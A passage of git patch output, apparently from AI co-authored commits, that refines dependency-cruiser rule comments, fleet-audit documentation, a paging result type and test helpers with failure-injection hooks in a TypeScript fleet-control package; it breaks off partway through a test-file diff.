its purposes. The dependency-cruiser rule's comment names the two export stores where a deleted enumeration had left "both" without a referent, and states the criterion a module must meet to belong in the to-set, derived from what its eighteen named members and its workers/ prefix are. The helper JSDocs in the advance test cite the guide's aggregate cost sentence instead of restating its formula, and driveToTerminal gets a cap-basis statement of its own beside driveToStage's. Verification: package typecheck (both tsconfigs), Biome, 187 of 187 tests across five files, both frozen baselines matched (audit 47 findings / 20 kinds / 86 operations; drain 53 / 20 / 5 / 6), dependency-cruiser clean over 493 modules with every positive control passing (29 rule controls and two registry tests), and docs:check over 55 Markdown files. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .dependency-cruiser.cjs | 2 +- docs/fleet-control.md | 2 +- docs/security-threat-model.md | 2 +- .../fleet-control/src/fleet-audit-advance.ts | 63 +++++++++++-------- .../test/fleet-audit-advance.test.ts | 19 ++++-- .../architecture-positive-controls.test.mjs | 43 ++++++++----- 6 files changed, 81 insertions(+), 50 deletions(-) diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index 0cd570ad..4f6963bf 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -287,7 +287,7 @@ module.exports = { name: 'fleet-control-operation-advance-avoids-concrete-transports', severity: 'error', comment: - 'The bounded audit coordinator imports eight modules directly, all provider-neutral. Six at runtime: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), and the lifecycle engine (for the stage functions it extracts). Two type-only, which tsPreCompilationDeps keeps in the graph this rule walks: the inventory run-store port, and the shared record and port types. This rule keeps every concrete transport its to-set names out of the whole graph reachable behind those eight. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. Four of the reachable modules a reader might expect in the to-set are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that both forbidden export stores implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', + 'The bounded audit coordinator imports eight modules directly, all provider-neutral. Six at runtime: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), and the lifecycle engine (for the stage functions it extracts). Two type-only, which tsPreCompilationDeps keeps in the graph this rule walks: the inventory run-store port, and the shared record and port types. This rule keeps every concrete transport its to-set names out of the whole graph reachable behind those eight. A module belongs in that to-set when it is a concrete transport rather than a port or a coordinator over one: the Cloudflare SDK client and the Cloudflare-specific modules it imports for provider errors, ordinary-Worker operations, fleet inventory, attachment scanning, and API-quota coordination; every ProvisioningBackend, PlainWorkerProvisioningApi, and BackendSwitchProvider implementation, together with the Wrangler command runner the Wrangler-backed ones take; every DurableDatabaseExportStore implementation; and the deployed Workers under workers/. The root barrel is listed because it re-exports transports, and the export file-name guard because only the export stores import it, so a path to it runs through one. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. Four of the reachable modules a reader might expect in the to-set are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that export-store.ts and r2-export-store.ts implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', from: { path: [ '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$', diff --git a/docs/fleet-control.md b/docs/fleet-control.md index e77fc2ac..dd8780a5 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -229,7 +229,7 @@ Every finding and fact passes the same shape, vocabulary, and byte-bound codec b Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted; 100 or more emitted rows fail. A record whose live inspection alone would emit 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — therefore fails the whole operation with the same reason; the operation never emits a partial finding set for one record. -Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call. The result is `done`-discriminated: a page that is not `done` always carries the cursor, and only the final page may omit it — it is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so every accepted page either reports `done` or advances your cursor. That is strict progress rather than termination: the reader carries no row cap, so a store that keeps serving conforming non-final pages keeps your loop running. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. +Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call. The result is `done`-discriminated: a page that is not `done` always carries the cursor, and `nextAfterOrdinal` is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so every accepted page either reports `done` or advances your cursor. That is strict progress rather than termination: the reader carries no row cap, so a store that keeps serving conforming non-final pages keeps your loop running. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set carries the higher cap of the two — 990,000 rows read against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈stage_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows. Multiplying the first figure by that row count accounts for about half the second; the remainder is the call's fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 4c43b863..867d5b5f 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -170,7 +170,7 @@ Only a finalized generation is readable. Partial, failed, and count-divergent ge ### Bounded fleet audit -A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. That snapshot does not cover the caller-supplied functions, the three store ports, or `maxItemsPerCall`: those are read fresh on every call, so the coordinator still reaches caller code after the intake pass. A start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. +A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. That snapshot does not cover the caller-supplied functions, the three store ports, the optional `signal`, or `maxItemsPerCall`: those are read fresh on every call. All but `maxItemsPerCall`, which is a number, are caller code the coordinator still reaches after the intake pass — the functions when it invokes them, the store ports through their methods, and `signal` through `throwIfAborted()`. A start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes. diff --git a/packages/fleet-control/src/fleet-audit-advance.ts b/packages/fleet-control/src/fleet-audit-advance.ts index 580d56ba..c30dd97f 100644 --- a/packages/fleet-control/src/fleet-audit-advance.ts +++ b/packages/fleet-control/src/fleet-audit-advance.ts @@ -1224,6 +1224,29 @@ export async function advanceFleetAudit( return continueAudit(options, action.token, maxItemsPerCall); } +/** @inline */ +type FleetAuditFindingsPage = + /** + * The store reported the final page. `nextAfterOrdinal` is the page's + * greatest ordinal, and is absent only when the page is empty — which this + * reader accepts only on a `done` page. + */ + | Readonly<{ + findings: readonly DriftFinding[]; + done: true; + nextAfterOrdinal?: number; + }> + /** + * The store reported more rows. This reader refuses an empty page that is + * not `done`, so `nextAfterOrdinal` — the page's greatest ordinal — is + * always present here. + */ + | Readonly<{ + findings: readonly DriftFinding[]; + done: false; + nextAfterOrdinal: number; + }>; + /** * Reads one page of an operation's parsed drift findings. Terminal-only * (failed operations included); never touches the inventory store. The @@ -1232,18 +1255,17 @@ export async function advanceFleetAudit( * * A caller pages the whole set by passing each result's `nextAfterOrdinal` * back as `afterOrdinal` until `done`. The result is `done`-discriminated: a - * page that is not `done` always carries the cursor, and only the final page - * may omit it. That field is the page's greatest ordinal, read off the - * returned rows rather than recomputed by the caller from a prose formula, and - * it is absent only on an empty page — which this reader accepts only when - * `done` is set. The idiom rests on two guarantees - * with two different owners. Finding ordinals are contiguous from zero because - * the WRITE PATH enforces it, not because the read port promises it: this - * coordinator numbers each finding row `findingCount + index`, and each - * commit that advances `findingCount` passes `expectedRowWatermarks.finding` - * at the new count — which `FleetOperationLease.commitProgress` defines as a - * dense-prefix assertion over the first N ordinals, so it holds whatever - * order the rows landed in. + * page that is not `done` always carries the cursor. `nextAfterOrdinal` is + * the page's greatest ordinal, read off the returned rows rather than + * recomputed by the caller from a prose formula, and it is absent only on an + * empty page — which this reader accepts only when `done` is set. The idiom + * rests on two guarantees with two different owners. Finding ordinals are + * contiguous from zero because the WRITE PATH enforces it, not because the + * read port promises it: this coordinator numbers each finding row + * `findingCount + index`, and each commit that advances `findingCount` passes + * `expectedRowWatermarks.finding` at the new count — which + * `FleetOperationLease.commitProgress` defines as a dense-prefix assertion + * over the first N ordinals, so it holds whatever order the rows landed in. * Both routes take it: the per-record chunk commits its finding rows inline, * the global stage pre-stages them through `stageRows` and commits the * watermark after. That a page holds the smallest qualifying ordinals IS the @@ -1251,8 +1273,8 @@ export async function advanceFleetAudit( * This reader checks both instead of trusting them, so every accepted page * either reports `done` or advances the caller's cursor. That is strict * progress, not termination: unlike `readAllFleetOperationRows`, this reader - * carries no row cap, so a store that keeps serving conforming non-final pages - * keeps a caller's loop running. + * carries no row cap, so a store that keeps serving conforming non-final + * pages keeps a caller's loop running. * * A final page is trusted as final. The reader takes `done` from the store and * never compares the rows it returned against the operation's own @@ -1275,18 +1297,7 @@ export async function readFleetAuditFindingsPage( afterOrdinal?: number; limit: number; }>, -): Promise< - | Readonly<{ - findings: readonly DriftFinding[]; - done: true; - nextAfterOrdinal?: number; - }> - | Readonly<{ - findings: readonly DriftFinding[]; - done: false; - nextAfterOrdinal: number; - }> -> { +): Promise { const { operationId, afterOrdinal, limit } = input; const run = await store.readOperationById(operationId); if (!run) { diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 68bde3c3..31cd8181 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -1201,6 +1201,13 @@ function buildHarness( * Drives `advanceFleetAudit` with `continue` until the status is not * 'pending'. Always advances once before it inspects a status, so it never * returns the result its caller already holds. + * + * `cap` is slack rather than derived. This loop runs to a terminal result, so + * the whole-operation aggregate the fleet control guide states (see its + * per-call cost paragraph, docs/fleet-control.md) bounds it in full: that + * aggregate turns on `maxItemsPerCall` and the per-stage source sizes rather + * than on the stage count alone, so a call site that lowers `maxItemsPerCall` + * against a large source has to pass its own cap. */ async function driveToTerminal( harness: Harness, @@ -1230,12 +1237,12 @@ type PendingFleetAuditAdvance = Extract< * Always advances once before it compares the step, so a token already parked * on `step` still costs one call. * - * `cap` is slack rather than derived. The guide's aggregate for a whole - * operation is `1 + records` calls plus, summed over the eleven global stages, - * `max(1, ceil(items_i / maxItemsPerCall))` each, so the bound turns on - * `maxItemsPerCall` and the per-stage source sizes rather than on the stage - * count alone: a call site that lowers `maxItemsPerCall` against a large - * source has to pass its own cap. + * `cap` is slack rather than derived. This loop stops at `step`, so a prefix + * of the whole-operation aggregate the fleet control guide states (see its + * per-call cost paragraph, docs/fleet-control.md) bounds it: that aggregate + * turns on `maxItemsPerCall` and the per-stage source sizes rather than on + * the stage count alone, so a call site that lowers `maxItemsPerCall` against + * a large source has to pass its own cap. */ async function driveToStage( harness: Harness, diff --git a/scripts/architecture-positive-controls.test.mjs b/scripts/architecture-positive-controls.test.mjs index e247a3c9..ac0b1a02 100644 --- a/scripts/architecture-positive-controls.test.mjs +++ b/scripts/architecture-positive-controls.test.mjs @@ -6,6 +6,7 @@ import { fileURLToPath } from 'node:url'; const require = createRequire(import.meta.url); const config = require('../.dependency-cruiser.cjs'); +const architectureRules = [...config.forbidden, ...config.required]; const cli = fileURLToPath( new URL( '../node_modules/dependency-cruiser/bin/dependency-cruise.mjs', @@ -150,8 +151,12 @@ const controls = { }; /** - * Real modules cruised alongside a fixture, so a reachable rule is evaluated - * over the graph it guards rather than over the fixture alone. + * Real modules cruised alongside a fixture, for two reasons. A reachable rule + * is evaluated over the graph it guards rather than over the fixture alone; + * and a block's own assertions get the modules they walk, which is why the + * decommission-database entry lists decommissionDatabase — that rule is a + * direct-edge rule, not a reachable one, so the module is there for the + * block's exact-set assertion rather than for the rule. */ const extraEntries = { 'fleet-control-decommission-advance-is-transport-neutral': [ @@ -171,16 +176,12 @@ const extraEntries = { }; test('every architecture rule has an executable positive control', () => { - const ruleNames = [...config.forbidden, ...config.required] - .map((rule) => rule.name) - .sort(); + const ruleNames = architectureRules.map((rule) => rule.name).sort(); assert.deepEqual(Object.keys(controls).sort(), ruleNames); }); test('every extra cruise entry is keyed by an architecture rule', () => { - const ruleNames = new Set( - [...config.forbidden, ...config.required].map((rule) => rule.name), - ); + const ruleNames = new Set(architectureRules.map((rule) => rule.name)); for (const ruleName of Object.keys(extraEntries)) { assert.ok( ruleNames.has(ruleName), @@ -228,6 +229,15 @@ for (const [ruleName, fixture] of Object.entries(controls)) { violations.includes(ruleName), `${fixture} did not trigger ${ruleName}; got ${violations.join(', ')}`, ); + // An extra entry the cruise report does not contain has an empty + // adjacency entry, which satisfies the negative reachability assertions + // below without proving anything. + for (const entry of extraEntries[ruleName] ?? []) { + assert.ok( + report.modules.some((module) => module.source === entry), + `extraEntries lists ${entry} for ${ruleName}, which the cruise report does not contain`, + ); + } if ( ruleName === 'fleet-control-decommission-state-does-not-reach-provider' ) { @@ -250,7 +260,7 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ), 'decommission advance control did not reject the concrete switch provider', ); - const adjacency = runtimeAdjacency(report); + const adjacency = fullAdjacency(report); assert.equal( reaches(adjacency, decommissionAdvance, backendSwitch), false, @@ -299,8 +309,11 @@ for (const [ruleName, fixture] of Object.entries(controls)) { 'fleet-control-backend-switch-does-not-reach-its-provider', 'fleet-control-decommission-database-is-provider-neutral', ]); + assert.equal( + reaches(fullAdjacency(report), backendSwitch, switchProvider), + false, + ); const adjacency = runtimeAdjacency(report); - assert.equal(reaches(adjacency, backendSwitch, switchProvider), false); for (const source of [ decommissionAdvance, decommissionDatabase, @@ -326,16 +339,13 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ), 'operation advance control did not reject the concrete provider client', ); - const adjacency = runtimeAdjacency(report); // Exhaustive over the rule's own to-set rather than over one member, so // a real-module reach into any other forbidden target cannot hide behind // this fixture's violations under the same rule name. The walk is over // the unfiltered graph, type-only edges included, because that is the // graph this reachable rule itself walks under tsPreCompilationDeps. const forbidden = new RegExp( - [...config.forbidden, ...config.required].find( - (rule) => rule.name === ruleName, - ).to.path, + architectureRules.find((rule) => rule.name === ruleName).to.path, ); assert.deepEqual( reachableFrom(fullAdjacency(report), auditAdvance).filter((module) => @@ -344,7 +354,10 @@ for (const [ruleName, fixture] of Object.entries(controls)) { [], 'the real operation-advance coordinator reached a forbidden target', ); - assert.equal(reaches(adjacency, fixture, cloudflareClient), true); + assert.equal( + reaches(runtimeAdjacency(report), fixture, cloudflareClient), + true, + ); } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { From fa502309f585f70f6275f81586bc72ae02e9cdfe Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Fri, 4 Sep 2026 00:48:12 +0400 Subject: [PATCH 067/169] test(fleet-control): close the R4-B.2 N-B.2 test-side nit ledger Applies the test-side half of the bounded-audit review ledger: thirty-six entries in the advance test, four in the operation-state test, and the title-ledger amendments that keep the spec's numbered list true of both files. Two paths, +858/-508. No production code changes. Three helpers replace hand-rolled copies. pageTransformingStore wraps a store so one page transform stands in for the four Proxies the page conformance titles carried; drainWith runs the legacy drain over a fresh store with the fixed clocks every call site passed, and takes the five FleetStateStore double-casts with it; expectPendingToken narrows a result to its token and throws instead of silently handing driveToTerminal an undefined token, replacing the five ternaries that did that. The fake operation store gains three failure hooks the tests arm themselves: a sticky latestFinalizedGeneration error armed after the first start, so the replay title proves the coordinator never re-resolves the pinned generation; a one-shot readOperationById hook the intake-snapshot title uses to mutate the caller's action mid-start; and a one-shot lost commitProgress response that persists the commit and then throws, so the lost-response title asserts convergence on the continue path through the revision discriminator rather than through the fake's own byte-identical branch. The intake-preflight title becomes an it.each family of eleven cases over one body, each fixture reporting under its own name; every case name fits the 38 characters vitest prints whole. Two titles are new: an abort that lands inside a per-record call after the fact-row read, and the row codecs' acceptance of empty and control-byte values on every fact kind. Nine titles regain the clauses their bodies pin, and the page-conformance title gains a short non-final page and an arbitrary permutation. Eight raw progress casts become codec reads; three 8,192 literals become the node bound constant; the batch-statement literal becomes its constant; the abort title pins the caller's own reason; the byte scan gains a bearer header that the templates-only detail must not carry; two finding-count floors become the exact counts; the duplicate-ordinal fixture stays undone so the page-scoped guard is what its call count pins; the operation-state successor loop is capped by the stage order's length. Fidelity comments record where the fake is softer than the D1 store and why each gap is unobservable for coordinator-written rows. Verification on this tree: package typecheck (both tsconfigs), Biome over the two files, 199 of 199 tests across five files (65 in the advance file, from 54), both frozen baselines matched (audit 47 findings / 20 kinds / 86 operations; drain 53 / 20 / 5 / 6), dependency-cruiser clean over 493 modules with all 31 positive controls passing, and a whole-tree diff outside the two files that prints nothing. Four review lanes over two rounds: eight substantive findings fixed in one cycle, then every lane clean with nits recorded for a later pass. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_012csLGuRVDj7qGD6NWcc6Bn --- .../test/fleet-audit-advance.test.ts | 1331 ++++++++++------- .../test/fleet-operation-state.test.ts | 35 +- 2 files changed, 858 insertions(+), 508 deletions(-) diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 31cd8181..2a306645 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -1,7 +1,7 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it } from 'vitest'; -import { auditFleetDrift } from '../src/fleet.js'; +import { auditFleetDrift, type DriftFinding } from '../src/fleet.js'; import { type AdvanceFleetAuditOptions, abandonFleetAuditOperation, @@ -33,9 +33,11 @@ import { canonicalFleetOperationBytes, FLEET_OPERATION_INTAKE_BYTE_BOUND, FLEET_OPERATION_ITEM_BOUND, + FLEET_OPERATION_NODE_BOUND, FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, FLEET_OPERATION_ROW_PAYLOAD_BYTE_BOUND, FLEET_OPERATION_ROW_READ_BOUND, + FLEET_OPERATION_STAGE_BATCH_STATEMENTS, FLEET_OPERATION_STRING_BYTE_BOUND, type FleetOperationKind, type FleetOperationLease, @@ -95,6 +97,39 @@ function withoutMethod(target: T, method: keyof T): T { }); } +type RowsPageInput = Parameters< + FleetOperationStore['readOperationRowsPage'] +>[0]; +type RowsPage = Awaited< + ReturnType +>; + +/** + * A view of `store` whose `readOperationRowsPage` answers `transform(page, + * input)` over the page `store` itself produced. Every other member behaves + * as `store`'s does, bound to it — the same Proxy idiom `withoutMethod` uses + * to shape a capability. + * + * `transform` may return a page unrelated to the one it was handed, which is + * how a case models a store that fabricates rows instead of reordering the + * ones it holds. + */ +function pageTransformingStore( + store: FleetOperationStore, + transform: (page: RowsPage, input: RowsPageInput) => RowsPage, +): FleetOperationStore { + return new Proxy(store, { + get(target, property, receiver) { + if (property === 'readOperationRowsPage') { + return async (input: RowsPageInput) => + transform(await target.readOperationRowsPage(input), input); + } + const value = Reflect.get(target, property, receiver); + return typeof value === 'function' ? value.bind(target) : value; + }, + }); +} + const ENVIRONMENT = 'production'; const SPEC_DIGEST = 'a'.repeat(64); const AUDIT_NOW = Date.parse('2026-06-01T00:00:00.000Z'); @@ -603,6 +638,18 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { readRunByOperationCalls = 0; unreadableGenerations = new Set(); pinFailsForGeneration: number | undefined; + /** + * When set, `latestFinalizedGeneration` throws it instead of answering, so + * an unwanted call fails its title outright rather than being counted after + * the fact (§11's "instrumented to fail the test if invoked"). + * + * Arming is the caller's job because this fake has no notion of "the replay + * path" and cannot detect one; a title arms it once its own legitimate call + * has returned. Arming it for every title would break the suite instead: + * `buildHarness` hands each title its own store, and EVERY implicit-generation + * start calls this method. + */ + latestFinalizedGenerationError: Error | undefined; registerFinalizedGeneration( generation: number, @@ -677,6 +724,9 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { FleetInventoryGenerationRef | undefined > { this.latestFinalizedGenerationCalls += 1; + if (this.latestFinalizedGenerationError !== undefined) { + throw this.latestFinalizedGenerationError; + } return this.latestGeneration === undefined ? undefined : this.refs.get(this.latestGeneration); @@ -720,6 +770,26 @@ class FakeInventoryRunStore implements FleetInventoryRunStore { // (stricter than the shipped D1 adapter) so the coordinator's probe-first // fallback to the head-independent `readOperationById` is genuinely // exercised, not merely accepted by coincidence. +// +// TWO DELIBERATE SOFTNESSES, stated rather than reproduced, because closing +// either would change what this suite's worlds exercise rather than what the +// coordinator does: +// +// - ROW VALIDATION. `#validatedRows` runs `fleetOperationStagedRowFromUnknown` +// only. `d1-fleet-operation-store.ts`'s `stagedRowForKindFromUnknown` +// additionally rejects an `item` row under the audit kind and re-parses a +// `finding`/`fact` payload through `driftFindingRowFromUnknown` / +// `fleetAuditFactRowFromUnknown`. A payload this fake accepts can therefore +// be one the shipped store would refuse; the write-side gate that matters +// is pinned against the real codecs by the titles that read rows back. +// - STAGING REVISION. `#stageRows` ignores `expectedRevision` entirely, where +// D1 binds it into `OPERATION_GUARD_SQL` on every insert. The adopted-running +// start path stages under `expectedRevision: 0` against a possibly-advanced +// operation; on that guard miss the real store silently inserts nothing. +// The operation can only have advanced past revision 0 after this same +// staging ran, so under the pinned intake digest the rows are already +// present at the same ordinals and this fake's own ordinal check drops +// them too — an unmodelled guard, not a live divergence. // --------------------------------------------------------------------------- class FakeOperationStore implements FleetOperationStore { @@ -734,6 +804,20 @@ class FakeOperationStore implements FleetOperationStore { readOperationByIdCalls = 0; readonly rowPageReadCounts = new Map(); stagedRowCodecCalls = 0; + /** + * Runs on the NEXT `readOperationById` and disarms itself. One-shot on + * purpose: `readFleetAuditFindingsPage` and the start path's catch-all call + * the same method, so a hook armed for one coordinator call must not leak + * into either. + */ + onNextReadOperationById: (() => void) | undefined; + /** + * When set, the NEXT `commitProgress` applies its write durably and then + * throws this instead of returning it — the lost-RESPONSE failure a 